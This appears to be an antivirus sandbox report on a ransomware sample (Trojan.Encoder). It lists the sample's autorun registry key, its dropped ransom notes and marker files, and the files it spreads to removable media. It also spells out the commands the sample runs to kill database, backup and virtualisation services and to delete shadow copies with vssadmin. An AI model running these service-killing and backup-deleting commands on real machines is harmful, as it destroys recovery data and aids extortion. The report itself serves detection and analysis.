Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'WindowsUpdateCheck' = '<Full path to file>'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\bkhelper\bldhole.exe
Creates the following files on removable media
- <Drive name for removable media>:\.c4d1664ef40ce18f8d41
- <Drive name for removable media>:\lisp_success.doc
- <Drive name for removable media>:\508softwareandos.doc
- <Drive name for removable media>:\testcertificate.cer
- <Drive name for removable media>:\contoso_1.cer
- <Drive name for removable media>:\testee.cer
- <Drive name for removable media>:\sdksampleunprivdeveloper.cer
- <Drive name for removable media>:\sdkfailsafeemulator.cer
- <Drive name for removable media>:\dashborder_192.bmp
- <Drive name for removable media>:\dashborder_120.bmp
- <Drive name for removable media>:\dashborder_96.bmp
- <Drive name for removable media>:\dial.bmp
- <Drive name for removable media>:\tileimage.bmp
- <Drive name for removable media>:\default.bmp
- <Drive name for removable media>:\toolbar.bmp
- <Drive name for removable media>:\000814251_video_01.avi
- <Drive name for removable media>:\correct.avi
- <Drive name for removable media>:\split.avi
- <Drive name for removable media>:\hanni_umami_chapter.doc
- <Drive name for removable media>:\february_catalogue__2015.doc
Malicious functions
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /IM "Cobian.exe" /F
- '%WINDIR%\syswow64\net.exe' stop Apache2.2
- '%WINDIR%\syswow64\net.exe' stop XenSvc
- '%WINDIR%\syswow64\net.exe' stop VMAuthdService
- '%WINDIR%\syswow64\net.exe' stop UFIDAWebService
- '%WINDIR%\syswow64\net.exe' stop Apache2.4
- '%WINDIR%\syswow64\net.exe' stop VMUSBArbService
- '%WINDIR%\syswow64\net.exe' stop xenlite
- '%WINDIR%\syswow64\net.exe' stop "memcached Server"
- '%WINDIR%\syswow64\net.exe' stop TeamViewer8
- '%WINDIR%\syswow64\net.exe' stop Realtek11nSU
- '%WINDIR%\syswow64\net.exe' stop U8WorkerService2
- '%WINDIR%\syswow64\net.exe' stop VMwareHostd
- '%WINDIR%\syswow64\net.exe' stop "igfxCUIService2.0.0.0"
- '%WINDIR%\syswow64\net.exe' stop HaoZipSvc
- '%WINDIR%\syswow64\taskkill.exe' /IM ThunderPlatform.exe /F
- '%WINDIR%\syswow64\taskkill.exe' /IM pg_ctl.exe /F
- '%WINDIR%\syswow64\taskkill.exe' /IM VBoxSDS.exe /F
- '%WINDIR%\syswow64\taskkill.exe' /IM BackupExec.exe /F
- '%WINDIR%\syswow64\net.exe' stop UIODetect
- '%WINDIR%\syswow64\taskkill.exe' /IM sqlservr.exe /F
- '%WINDIR%\syswow64\net.exe' stop U8WorkerService1
- '%WINDIR%\syswow64\net.exe' stop MSComplianceAudit
- '%WINDIR%\syswow64\net.exe' stop wanxiao-monitor
Modifies file system
Creates the following files
- %TEMP%\killer.bat
- %HOMEPATH%\templates\.c4d1664ef40ce18f8d41
- %HOMEPATH%\videos\how to back your files.txt
- %HOMEPATH%\videos\.c4d1664ef40ce18f8d41
- %HOMEPATH%\voip\how to back your files.txt
- %HOMEPATH%\voip\.c4d1664ef40ce18f8d41
- %HOMEPATH%\how to back your files.txt
- %HOMEPATH%\.c4d1664ef40ce18f8d41
- C:\users\how to back your files.txt
- D:\system volume information\.c4d1664ef40ce18f8d41
- %HOMEPATH%\templates\how to back your files.txt
- C:\users\.c4d1664ef40ce18f8d41
- D:\$recycle.bin\.c4d1664ef40ce18f8d41
- C:\msocache\.c4d1664ef40ce18f8d41
- D:\.c4d1664ef40ce18f8d41
- C:\.c4d1664ef40ce18f8d41
- z:\system volume information\.c4d1664ef40ce18f8d41
- z:\.c4d1664ef40ce18f8d41
- <Current directory>\ids.txt
- %ALLUSERSPROFILE%\local\.c4d1664ef40ce18f8d41
- %TEMP%\vquqpztfutaz.vbs
- C:\how to back your files.txt
- %HOMEPATH%\start menu\.c4d1664ef40ce18f8d41
Sets the 'hidden' attribute to the following files
- %ALLUSERSPROFILE%\local\.c4d1664ef40ce18f8d41
- z:\.c4d1664ef40ce18f8d41
- z:\system volume information\.c4d1664ef40ce18f8d41
- C:\.c4d1664ef40ce18f8d41
- D:\.c4d1664ef40ce18f8d41
- C:\msocache\.c4d1664ef40ce18f8d41
- <Drive name for removable media>:\.c4d1664ef40ce18f8d41
- D:\$recycle.bin\.c4d1664ef40ce18f8d41
- C:\users\.c4d1664ef40ce18f8d41
- D:\system volume information\.c4d1664ef40ce18f8d41
- %HOMEPATH%\.c4d1664ef40ce18f8d41
- %HOMEPATH%\voip\.c4d1664ef40ce18f8d41
- %HOMEPATH%\videos\.c4d1664ef40ce18f8d41
- %HOMEPATH%\templates\.c4d1664ef40ce18f8d41
- %HOMEPATH%\start menu\.c4d1664ef40ce18f8d41
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\Vquqpztfutaz.vbs"
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\killer.bat" "' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\killer.bat" "
- '%WINDIR%\syswow64\net1.exe' stop "memcached Server"
- '%WINDIR%\syswow64\net1.exe' stop TeamViewer8
- '%WINDIR%\syswow64\net1.exe' stop Realtek11nSU
- '%WINDIR%\syswow64\sc.exe' delete VGAuthService
- '%WINDIR%\syswow64\sc.exe' delete MCService
- '%WINDIR%\syswow64\sc.exe' delete UIODetect
- '%WINDIR%\syswow64\sc.exe' delete "ZTE USBIP Client"
- '%WINDIR%\syswow64\cmd.exe' /c @echo off sc config browser sc config browser start=enabled vssadmin delete shadows /all /quiet sc stop vss sc config vss start=disabled sc stop MongoDB sc config MongoDB start=disabl...
- '%WINDIR%\syswow64\sc.exe' delete RTCCDR
- '%WINDIR%\syswow64\sc.exe' delete "ZTE FileTranS"
- '%WINDIR%\syswow64\sc.exe' delete ProjectEventService16
- '%WINDIR%\syswow64\sc.exe' delete VMTools
- '%WINDIR%\syswow64\sc.exe' delete XT800Service_Personal
- '%WINDIR%\syswow64\sc.exe' delete WebAttendServer
- '%WINDIR%\syswow64\sc.exe' delete "ZTE USBIP Client Guard"
- '%WINDIR%\syswow64\net1.exe' stop "igfxCUIService2.0.0.0"
- '%WINDIR%\syswow64\sc.exe' delete RTCDATAMCU
- '%WINDIR%\syswow64\sc.exe' delete MSSQLServerOLAPService
- '%WINDIR%\syswow64\sc.exe' delete ImeDictUpdateService
- '%WINDIR%\syswow64\net1.exe' stop UIODetect
- '%WINDIR%\syswow64\net1.exe' stop U8WorkerService2
- '%WINDIR%\syswow64\sc.exe' delete REPLICA
- '%WINDIR%\syswow64\sc.exe' delete "wanxiao-monitor"
- '%WINDIR%\syswow64\sc.exe' delete RabbitMQ
- '%WINDIR%\syswow64\sc.exe' delete VMwareHostd
- '%WINDIR%\syswow64\net1.exe' stop Apache2.2
- '%WINDIR%\syswow64\sc.exe' delete AlibabaProtect
- '%WINDIR%\syswow64\sc.exe' delete ReportServer
- '%WINDIR%\syswow64\sc.exe' delete SPSearchHostController
- '%WINDIR%\syswow64\sc.exe' delete "Flash Helper Service"
- '%WINDIR%\syswow64\sc.exe' delete VMUSBArbService
- '%WINDIR%\syswow64\net1.exe' stop VMAuthdService
- '%WINDIR%\syswow64\net1.exe' stop UFIDAWebService
- '%WINDIR%\syswow64\net1.exe' stop XenSvc
- '%WINDIR%\syswow64\sc.exe' delete qemu-ga
- '%WINDIR%\syswow64\sc.exe' delete TeamViewer
- '%WINDIR%\syswow64\sc.exe' delete SPAdminV4
- '%WINDIR%\syswow64\sc.exe' delete allpass_redisservice_port21160
- '%WINDIR%\syswow64\sc.exe' delete VMAuthdService
- '%WINDIR%\syswow64\sc.exe' delete wwbizsrv
- '%WINDIR%\syswow64\net1.exe' stop Apache2.4
- '%WINDIR%\syswow64\net1.exe' stop VMUSBArbService
- '%WINDIR%\syswow64\net1.exe' stop xenlite
- '%WINDIR%\syswow64\sc.exe' delete ProjectQueueService16
- '%WINDIR%\syswow64\sc.exe' delete TCPIDDAService
- '%WINDIR%\syswow64\net1.exe' stop VMwareHostd
- '%WINDIR%\syswow64\sc.exe' delete ftusbrdsrv
- '%WINDIR%\syswow64\sc.exe' delete RTCIMMCU
- '%WINDIR%\syswow64\net1.exe' stop HaoZipSvc
- '%WINDIR%\syswow64\cmd.exe' /c "color e & @taskkill /IM ThunderPlatform.exe /F & @taskkill /IM iexplore.exe /F & @taskkill /IM vm-agent.exe /F & @taskkill /IM vm-agent-daemon.exe /F & @taskkill /IM eSightService.exe /F & ...
- '%WINDIR%\syswow64\sc.exe' delete SQLSERVERAGENT
- '%WINDIR%\syswow64\sc.exe' delete "DAService_TCP"
- '%WINDIR%\syswow64\sc.exe' delete MSCRMAsyncService
- '%WINDIR%\syswow64\sc.exe' delete "UWS LoPriv Services"
- '%WINDIR%\syswow64\sc.exe' delete OracleOraDb11g_home1ClrAgent
- '%WINDIR%\syswow64\sc.exe' delete "XT800Service_Personal"
- '%WINDIR%\syswow64\cmd.exe' /c "color e & @taskkill /IM VBoxSDS.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM TeamViewer_Service.exe /F & @taskkill /IM TeamViewer.exe /F & @taskkill /IM CasLicenceServer.exe /F & @t...
- '%WINDIR%\syswow64\cmd.exe' /c "color e & @taskkill /IM BackupExec.exe /F & @taskkill /IM Att.exe /F & @taskkill /IM mdm.exe /F & @taskkill /IM BackupExecManagementService.exe /F & @taskkill /IM bengine.exe /F & @taskkill...
- '%WINDIR%\syswow64\cmd.exe' /c "color e & @taskkill /IM pg_ctl.exe /F & @taskkill /IM rcrelay.exe /F & @taskkill /IM SogouImeBroker.exe /F & @taskkill /IM CCenter.exe /F & @taskkill /IM ScanFrm.exe /F & @taskkill /IM d_ma...
- '%WINDIR%\syswow64\cmd.exe' /c "color e & @taskkill /IM sqlservr.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM java.exe /F & @taskkill /IM fdhost.exe /F & @taskkill /IM fdlauncher.exe /F & @taskkill /IM reportingser...
- '%WINDIR%\syswow64\sc.exe' delete OracleOraDb11g_home1TNSListener
- '%WINDIR%\syswow64\cmd.exe' /c "color a & @net stop UIODetect & @net stop VMwareHostd & @net stop TeamViewer8 & @net stop VMUSBArbService & @net stop VMAuthdService & @net stop wanxiao-monitor & @net stop WebAttendServer ...
- '%WINDIR%\syswow64\cmd.exe' /c "color a & @net stop HaoZipSvc & @net stop "igfxCUIService2.0.0.0" & @net stop Realtek11nSU & @net stop xenlite & @net stop XenSvc & @net stop Apache2.2 & @net stop "Synology Drive VSS Servi...
- '%WINDIR%\syswow64\cmd.exe' /c "color a & @net stop U8WorkerService1 & @net stop U8WorkerService2 & @net stop "memcached Server" & @net stop Apache2.4 & @net stop UFIDAWebService & @net stop MSComplianceAudit & @net stop ...
- '%WINDIR%\syswow64\cmd.exe' /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDA...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusb...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc ...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc d...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delete Qc...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @taskkill /IM "Cobian.exe" /F & @taskkill /IM "SAP Business One.exe" /F & @net stop "SQLBackupAndFTP Client Service" & @taskkill /IM "SqlBak.Service.exe" /F & @net stop cbVSCServi...
- '%WINDIR%\syswow64\sc.exe' delete SPTimerV4
- '%WINDIR%\syswow64\sc.exe' delete MSDTC
- '%WINDIR%\syswow64\sc.exe' delete ftnlsv3
- '%WINDIR%\syswow64\sc.exe' delete SQLWriter
- '%WINDIR%\syswow64\net1.exe' stop U8WorkerService1
- '%WINDIR%\syswow64\sc.exe' delete QcSoftService
- '%WINDIR%\syswow64\sc.exe' delete JhTask
- '%WINDIR%\syswow64\sc.exe' delete K3MobileService
- '%WINDIR%\syswow64\sc.exe' delete ftusbrdwks
- '%WINDIR%\syswow64\sc.exe' delete RTCMEETINGMCU
- '%WINDIR%\syswow64\sc.exe' delete MSSQLSERVER
- '%WINDIR%\syswow64\sc.exe' delete UI0Detect
- '%WINDIR%\syswow64\sc.exe' delete RtcQms
- '%WINDIR%\syswow64\sc.exe' delete "UtilDev Web Server Pro"
- '%WINDIR%\syswow64\sc.exe' delete aspnet_state @sc delete Redis
- '%WINDIR%\syswow64\sc.exe' delete MSSQLFDLauncher
- '%WINDIR%\syswow64\sc.exe' delete EnergyDataService
- '%WINDIR%\syswow64\sc.exe' delete RTCAVMCU
- '%WINDIR%\syswow64\sc.exe' delete FxService
- '%WINDIR%\syswow64\sc.exe' delete OracleServiceORCL
- '%WINDIR%\syswow64\sc.exe' delete SQLBrowser
- '%WINDIR%\syswow64\sc.exe' delete eCardMPService
- '%WINDIR%\syswow64\sc.exe' delete RTCATS
- '%WINDIR%\syswow64\sc.exe' delete ftnlses3
- '%WINDIR%\syswow64\sc.exe' delete OracleVssWriterORCL
- '%WINDIR%\syswow64\sc.exe' delete "eCard-TTransServer"
- '%WINDIR%\syswow64\sc.exe' delete "Kiwi Syslog Server"
